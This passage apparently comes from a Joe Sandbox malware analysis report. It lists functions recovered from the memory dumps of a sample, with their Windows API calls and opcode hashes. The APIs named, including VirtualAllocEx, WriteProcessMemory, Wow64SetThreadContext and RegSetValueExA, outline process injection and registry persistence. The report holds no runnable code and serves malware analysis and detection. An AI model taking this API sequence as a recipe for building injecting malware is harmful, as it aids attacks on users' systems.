Opcode Fuzzy Hash: 02651583b1bd51bb56a3cb1c8a96cc6907b340812998069b00f6be90395b26bd
Instruction Fuzzy Hash: A6F0F97494132ACFEB60EF18D858B99B7B5BB05305F0081E5E409A3250C3784ED8CF41

Function 06A1BD78 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

,nq, xrefs: 06A1C0F3

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: ,nq
API String ID: 0-1069744364
Opcode ID: 3ba7128e3b4e5a6ba09a8f7077f6533ab6f4e97a9d6482ed90fcc9f0e4044855
Instruction ID: 9651a7ea6d0156e63a977c300da6998a5cf33dac8b3158eb7539420032b34e88
Opcode Fuzzy Hash: 3ba7128e3b4e5a6ba09a8f7077f6533ab6f4e97a9d6482ed90fcc9f0e4044855
Instruction Fuzzy Hash: 0F522975A402288FCB68DF68C984BEDBBF6BF88310F1541D9E509AB351DA349D81CF61

Function 06A1614F Relevance: 1.8, Strings: 1, Instructions: 536COMMON

Download Yara Rule

Strings

(_jq, xrefs: 06A163ED

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: (_jq
API String ID: 0-2603807687
Opcode ID: fdd2bde1ed9bb3c99fdfa4db66968f47679675ddabcf618672514df625243b6d
Instruction ID: 8a46b809cb885621482feee91eed7f2f50e6be7b6c59ede181059cae6f3eebb5
Opcode Fuzzy Hash: fdd2bde1ed9bb3c99fdfa4db66968f47679675ddabcf618672514df625243b6d
Instruction Fuzzy Hash: D122AC75A102149FDB44EFA8D594AADBBF6BF88310F158069E901EF3A1DB71EC41CB90

Function 05F3051E Relevance: 1.7, APIs: 1, Instructions: 206processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05F30702

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 23ed5f21465dcd0cd0f29bf807641c1c3db506b8f2a1356cb20d8532fb0549ad
Instruction ID: d859f69bbdfda4f0fab94b6dedb5eed9350389d4e775583e1281bcb0be1c9abb
Opcode Fuzzy Hash: 23ed5f21465dcd0cd0f29bf807641c1c3db506b8f2a1356cb20d8532fb0549ad
Instruction Fuzzy Hash: C2811B71D006599FEB10CFA9C98A7EDBBF6BF48310F14852AE815E7254DB789881CF81

Function 05F30528 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05F30702

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f3e9793140de274ca58c9573eb32404841842fa17d7e5a011a006f318da08b54
Instruction ID: 05a2eaefd5ad6d4a8f551ec90516349afa9be3bdabb1527cc57ea2252a2ed752
Opcode Fuzzy Hash: f3e9793140de274ca58c9573eb32404841842fa17d7e5a011a006f318da08b54
Instruction Fuzzy Hash: 77811B71D002599FEB10CFA9C98A7EDBBF5BF48310F14852AE815E7254DB789881CF81

Function 06A1CB85 Relevance: 1.7, Strings: 1, Instructions: 424COMMON

Download Yara Rule

Strings

$jq, xrefs: 06A1CD47

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: $jq
API String ID: 0-2886413773
Opcode ID: 17ffecc1d030154d89f2aecc9042db9b7c056bf6b3210e24c97866af53829481
Instruction ID: 0e5a2916f803eca4bd769324c7516b9f870a139905cfab90b40267d9434d30d1
Opcode Fuzzy Hash: 17ffecc1d030154d89f2aecc9042db9b7c056bf6b3210e24c97866af53829481
Instruction Fuzzy Hash: 17F17C707183029FDB98BF69D81467EBAF2AF94200F168469D693CF791DB358C42CB91

Function 05F323CE Relevance: 1.6, APIs: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,?), ref: 05F3251D

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 8a61a44c69cfac2a36d92d103ae7db1ce768441a84f24b6e3f1738e01caab760
Instruction ID: 4ce9ecc7caa1cfc78dc3f63fea31000bb3973fd0c0e489ce10003bb8410a59a5
Opcode Fuzzy Hash: 8a61a44c69cfac2a36d92d103ae7db1ce768441a84f24b6e3f1738e01caab760
Instruction Fuzzy Hash: BA519EB4D102199FEB10CFA9C8567EEBBF2FF48310F148129E859E7284D7789981CB91

Function 05F323D8 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,?), ref: 05F3251D

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 2882d2e8df6eaf66c234b0a6d21fdbaade91a70dbeed66283b4d8752a42dedc4
Instruction ID: b1859940e4236a1281c03d7fd6a86effbbd6a175eb1ee239e8c95bdd4f54fb2d
Opcode Fuzzy Hash: 2882d2e8df6eaf66c234b0a6d21fdbaade91a70dbeed66283b4d8752a42dedc4
Instruction Fuzzy Hash: 65519EB4D007599FEB10DFA9C8467AEBBF2FF48310F148129E859E7284D7789981CB81

Function 05F327DC Relevance: 1.6, APIs: 1, Instructions: 113registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNEL32(?,?,?,?,00000000,?), ref: 05F328EA

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6699f64d3eaa3b9c34fecc8d51c700b55dd2155ead4c058b2b1f3ce8367c36b5
Instruction ID: 0ec99508f4a46af0c2dc8c75abeb9ddcc2e1d7a75ca79f30f2d5aae750c0d980
Opcode Fuzzy Hash: 6699f64d3eaa3b9c34fecc8d51c700b55dd2155ead4c058b2b1f3ce8367c36b5
Instruction Fuzzy Hash: 66416A75D012599FEB20CFA9C88679EFBF2FF48710F14842AE819A7244DB789845CF91

Function 05F327E8 Relevance: 1.6, APIs: 1, Instructions: 110registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNEL32(?,?,?,?,00000000,?), ref: 05F328EA

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 1edcfda306604a3ae4bedd9455a5f989050ef152a26f2123188a46b39f5a10b8
Instruction ID: c1277bffac1fbd92fe01bd5c5b439f5751ef975b8a366234a1c9db78f7082ea7
Opcode Fuzzy Hash: 1edcfda306604a3ae4bedd9455a5f989050ef152a26f2123188a46b39f5a10b8
Instruction Fuzzy Hash: 614168B5D012599FEB10CFA9C88679EFBF2FF48710F14842AE819A7244DB789845CF91

Function 05F30D40 Relevance: 1.6, APIs: 1, Instructions: 93injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05F30DD8

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 8cf9b2afde1d87181ccd8ec5a07c6cf8fa234c7a30c5af3921acabe51dd409c8
Instruction ID: f8853c5ee36b52c9a7a314d2c7ccc4aff941268fba20ec4b729c7c1217b46d78
Opcode Fuzzy Hash: 8cf9b2afde1d87181ccd8ec5a07c6cf8fa234c7a30c5af3921acabe51dd409c8
Instruction Fuzzy Hash: 8631AC759103499FDB14DFA9C845BEEBBF5FF48310F00842AE919A7255CB78A944CFA0

Function 05F30D48 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05F30DD8

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a31a16ee9c5665a3b81c175b9edcfa9d0b8eb2675e8db22194c562270c19ef2f
Instruction ID: 192022c484430cc1cbe17c9d561c7acb025882ed1637ab8f8d19b3e722d62cd9
Opcode Fuzzy Hash: a31a16ee9c5665a3b81c175b9edcfa9d0b8eb2675e8db22194c562270c19ef2f
Instruction Fuzzy Hash: 39211B75D003499FDB10DFA9C945BDEBBF5FF48310F10842AE519A7250DB78A544CBA0

Function 05F30822 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05F308A6

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6ed73f286d962ed40b5749efe93b631369577e954b5c6462531e686dee48d7e6
Instruction ID: bfb24f95f4921f80239faf0a29334d2fbb9ffcad13ed141ee72b9a0a8d291d88
Opcode Fuzzy Hash: 6ed73f286d962ed40b5749efe93b631369577e954b5c6462531e686dee48d7e6
Instruction Fuzzy Hash: 8A213771D003099FDB14DFAAC485BEFBBF5EF88320F14842AD419A7240CB789984CBA4

Function 05F30828 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05F308A6

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 439253f96a02b3fe77897c1d8ff5d0e33eb61fc6048a437f6cc261b7176edf3f
Instruction ID: 7aa4a8f1cfb4119186b12ad5f0532c385aaf7f6a4b7ae9c30d005a5597440c90
Opcode Fuzzy Hash: 439253f96a02b3fe77897c1d8ff5d0e33eb61fc6048a437f6cc261b7176edf3f
Instruction Fuzzy Hash: 90211871D043099FDB10DFAAC4857AEBBF5EF88310F54842AD559A7240DB789944CFA4

Function 05F31132 Relevance: 1.6, APIs: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05F311AC

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d42af1b0093307c824bf73f868d5aa068e4e05687fdb28c4d9051e815a914c3b
Instruction ID: a189ce9b37a09a5c63ba96f263a07cfdf390d18a188e4a02e1bb4e72d41f4c93
Opcode Fuzzy Hash: d42af1b0093307c824bf73f868d5aa068e4e05687fdb28c4d9051e815a914c3b
Instruction Fuzzy Hash: DF2107B1D002099FDB10DFAAC845BEEFBF5EF88320F54842AD419A7250CB789945CBA1

Function 05F30C40 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05F30CB6

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9e2e4126cff418e4cbaff2dbdd0cd764912cb26d61d56bd73dfac513874df35f
Instruction ID: 4f51442d74a46449485fadb434a97168820207f9293912ee18e4b54040da00de
Opcode Fuzzy Hash: 9e2e4126cff418e4cbaff2dbdd0cd764912cb26d61d56bd73dfac513874df35f
Instruction Fuzzy Hash: 552147758002499FDB10DFAAC845BDFBFF9EF88710F108819E519A7250CB79A944CBA0

Function 05F31138 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05F311AC

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1d4f75f97041bb27c37f827bd29388c777cff677bb089f0227946f9e98171c94
Instruction ID: 3e12b8b1edf47a5b22f7099ce020901e137f80d59cbeb58a8622141840621325
Opcode Fuzzy Hash: 1d4f75f97041bb27c37f827bd29388c777cff677bb089f0227946f9e98171c94
Instruction Fuzzy Hash: AC21E5B1D002499FDB10DFAAC845BEEFBF5EF88320F54842AD519A7250CB789945CFA1

Function 06C2DAB0 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 06C2DB24

Memory Dump Source

Source File: 00000000.00000002.2215556137.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c20000_6RE1Z857ae.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c3addb30babba7caba3df594d1b6aad5bf53131ea560a58b4d2182a32938742c
Instruction ID: 6b458f559f7bb424ddac4c421f8ddd113729ecfe3fff52d441411c065b9a893b
Opcode Fuzzy Hash: c3addb30babba7caba3df594d1b6aad5bf53131ea560a58b4d2182a32938742c
Instruction Fuzzy Hash: 261106B1D002499FDB10DFAAC844AAEFBF5FF58320F10842AD419A7250C779A944CFA0

Function 05F30C48 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05F30CB6

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 23b403de4c7d6f47eff9aeb39e97e9828e59692c21dd746948c32dddd9bc8b3a
Instruction ID: b24be7c8688270791c95a52a0ccd2a640b5564c482e5485b3926fc0efacddbe2
Opcode Fuzzy Hash: 23b403de4c7d6f47eff9aeb39e97e9828e59692c21dd746948c32dddd9bc8b3a
Instruction Fuzzy Hash: BA1126758002499FDB10DFAAC845AEEBFF5EF88320F10841AE519A7250CB79A944CBA0

Function 06A168D0 Relevance: 1.5, Strings: 1, Instructions: 242COMMON

Download Yara Rule

Strings

Pljq, xrefs: 06A16AB8

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: Pljq
API String ID: 0-328474749
Opcode ID: 5673494a7beba14747e24b804f3920dd5252979dfd14cb4378356ce7aada5fd7
Instruction ID: 8da7f60d239e3c0a0f0748fc1e9ca7370d47b4f2b3864b332a65e117713fbe8b
Opcode Fuzzy Hash: 5673494a7beba14747e24b804f3920dd5252979dfd14cb4378356ce7aada5fd7
Instruction Fuzzy Hash: C6910330B402148FCB54EF28C894AAA7BF6BF89710B1180A9E505DF3B5DB71EC41CBA1

Function 06A1AE88 Relevance: 1.5, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

4'jq, xrefs: 06A1B0B2

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 1bcb9a1ee043a74d4a0544b83817620668fbc84024ce43972cd02cd2ad4be7f9
Instruction ID: 7048be3fd0c1b237b9b6539cec4c578f0c2875ca49c2f6dd4e58102103cfe247
Opcode Fuzzy Hash: 1bcb9a1ee043a74d4a0544b83817620668fbc84024ce43972cd02cd2ad4be7f9
Instruction Fuzzy Hash: 88A10D34A11218DFCB44EFA4D994A9EBBB2FF89300F158159E915AB365DB70EC42CB90

Function 06A1E690 Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

4'jq, xrefs: 06A1E7B2

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 2e6504fd1046e1728d6909d8e1c3a52be4b7bec439fe9a5639690a24fb0e05ea
Instruction ID: 5f55ed8a7b64d642140e615986294de9844c263e51682e010ab2bae8d499ba2b
Opcode Fuzzy Hash: 2e6504fd1046e1728d6909d8e1c3a52be4b7bec439fe9a5639690a24fb0e05ea
Instruction Fuzzy Hash: B0717F30B402189FDB98EB64C954BAE77F6BF88710F104458E9169F395CB75DC41CB90

Function 06A1EB38 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

4'jq, xrefs: 06A1EB82

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 3436ddd27fdad439d92e60b1a29a5ddf0958c6f63baade57f52cf5a47b9de51b
Instruction ID: b3dab4e65ca5222b319bf1ce3608bba4a9e93eb1d0fc512a8c1d893f513a14d2
Opcode Fuzzy Hash: 3436ddd27fdad439d92e60b1a29a5ddf0958c6f63baade57f52cf5a47b9de51b
Instruction Fuzzy Hash: CB518E34B106148FCB85FB68C994A6EB7B6BFC8710F118129E5169F394DF74AC42CB91

Function 06A11C90 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

(nq, xrefs: 06A11D04

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: (nq
API String ID: 0-2756854522
Opcode ID: ab88d3c52177ba81f2e03a95862d35c690bb59f950e148066b1671221a2a0b50
Instruction ID: 17bc340e16dc30a80644c522b923f770b8e63cd4468bcb9a26321d157b10aeb4
Opcode Fuzzy Hash: ab88d3c52177ba81f2e03a95862d35c690bb59f950e148066b1671221a2a0b50
Instruction Fuzzy Hash: 7E51B335A006168FCB00EF69D484A6AFBF5FF85320B158565DA259F291D730FC52CBD1

Function 06A10CD0 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

pnq, xrefs: 06A10D80

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: pnq
API String ID: 0-1150273632
Opcode ID: 7c0450f98e303e0c795f0e92ee5412f48268e0a53958e6b3daae86b5222b75b8
Instruction ID: 88740c104458299e78a9a6209f15ff82aaecfcc5f5920eac2417eed6e5f6dfe4
Opcode Fuzzy Hash: 7c0450f98e303e0c795f0e92ee5412f48268e0a53958e6b3daae86b5222b75b8
Instruction Fuzzy Hash: 2D513C76600104AFCB459FA8C914D6A7FB6FF8D31471A80D8E2098F376DA36DC21EB51

Function 02E1E4D0 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

TJoq, xrefs: 02E1E562

Memory Dump Source

Source File: 00000000.00000002.2197050179.0000000002E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: TJoq
API String ID: 0-3712055613
Opcode ID: 6989530809a607e322588400f2e142881cb837b4acce0ed494ef816a719803fa
Instruction ID: fa7f3638d6d3d8d0bbdb7db27282aeff8b79ccc5365fd02003a0fbe4c17f9078
Opcode Fuzzy Hash: 6989530809a607e322588400f2e142881cb837b4acce0ed494ef816a719803fa
Instruction Fuzzy Hash: 7E51BD74D44208DFCB08DFA9D588AEDBBF2BB48305F14906AE916A7360EB349945CF50

Function 06A12B70 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

,nq, xrefs: 06A12BD3

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: ,nq
API String ID: 0-1069744364
Opcode ID: 07d2bba6c1ad8c600d7591e57532a671e09abf5a0de7e10b9f09cb45a55b65c0
Instruction ID: e58166c4187bc45f1a90b8980b4824b4bc2d3c23769065a51f46383256b9bd8b
Opcode Fuzzy Hash: 07d2bba6c1ad8c600d7591e57532a671e09abf5a0de7e10b9f09cb45a55b65c0
Instruction Fuzzy Hash: 4E416D357001158FCB08EF69D894AAEBBF6EF89310B15806AE905DF365DB31ED41CB91

Function 06A1E540 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

4'jq, xrefs: 06A1E5F7

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 4d231c5faf68955ffe7c6a775a9be5e195bf29e62963782a9aa40883d74850c1
Instruction ID: 24791a028828ded681e948df69cf3566f94522cc29d147e27e7ef9d9c2d0761f
Opcode Fuzzy Hash: 4d231c5faf68955ffe7c6a775a9be5e195bf29e62963782a9aa40883d74850c1
Instruction Fuzzy Hash: 3A418B313406149FD348EB29C958F2B77EAAFC8710F214568E60A8F3A5DE75EC42C7A4

Function 06A1E550 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

4'jq, xrefs: 06A1E5F7

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: cd7a96f7aefccfc0e912d3257b49f6191f7437b69b53bbebbe77755207018ca6
Instruction ID: 8944f6ca002ae9bfb232d49cf10b6ff81e1b8961c7143af055d8ef914fedf143
Opcode Fuzzy Hash: cd7a96f7aefccfc0e912d3257b49f6191f7437b69b53bbebbe77755207018ca6
Instruction Fuzzy Hash: 91317C713406149FD348EB29C958F2B77EAAFC8710F114568E60A8F3A5DE75EC42C7A4

Function 06A1A309 Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

4'jq, xrefs: 06A1A351

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: b322099f8e715e905176888d8d81eeccb2684cd719bff8b34e7aa1ea1fff7f19
Instruction ID: cd05260fbf3943e21070fa2cf94df7f65a8e50e3c9a4a4af1aa71a9d8632422a
Opcode Fuzzy Hash: b322099f8e715e905176888d8d81eeccb2684cd719bff8b34e7aa1ea1fff7f19
Instruction Fuzzy Hash: 783195356402049FCF499F64D954D5ABBF7FF8C310B0641A9E6069B376CA71DC12CB91

Function 069C0D7C Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

4'jq, xrefs: 069C1549

Memory Dump Source

Source File: 00000000.00000002.2214400662.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_69c0000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 73aa4bc9427b6842e5d9c26f366f2aa3a356bc6d45f502c4ceeb6ec049efb948
Instruction ID: 22e6ffd07f4c7c7d3677d8e79ab65b626d850d2498875eef79791108054466b0
Opcode Fuzzy Hash: 73aa4bc9427b6842e5d9c26f366f2aa3a356bc6d45f502c4ceeb6ec049efb948
Instruction Fuzzy Hash: B7318B30D08349DFDB59CFA9D814AFEBBB5EB45321F10806ED011A7692CB355A81CFA6

Function 02E10928 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

Tejq, xrefs: 02E109A0

Memory Dump Source

Source File: 00000000.00000002.2197050179.0000000002E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: Tejq
API String ID: 0-2468842661
Opcode ID: a03e122539daac9932587959d2924c19d0632d69ff1f95ef9bf38d15a6e8919f
Instruction ID: 8a0e1685ee1c73e99e8e29aab54974e58095ed65c9cc1ca14d677d6e575b5df1
Opcode Fuzzy Hash: a03e122539daac9932587959d2924c19d0632d69ff1f95ef9bf38d15a6e8919f
Instruction Fuzzy Hash: 38215E30A40209DFCB54DF69D558A9DBBF2BF88710F214469E406EB3A5CB759D41CB90

Function 06A154B0 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

p<jq, xrefs: 06A154FA

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: p<jq
API String ID: 0-3743064563
Opcode ID: 40407dbe08cbd5a5f64429ef5eeb84a1cff01d1462b98f57975a0ca6cfb85829
Instruction ID: c92b132f8c63f3e115400999882a96a285a27ad4a4816f79b7a32bd1391910ac
Opcode Fuzzy Hash: 40407dbe08cbd5a5f64429ef5eeb84a1cff01d1462b98f57975a0ca6cfb85829
Instruction Fuzzy Hash: F3218E717041849FCB51DF6EC850EAA7BEAAF8A211F094092FC54CF361CA35DC61DB60

Function 06A1FC6E Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

(nq, xrefs: 06A1FCC4

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

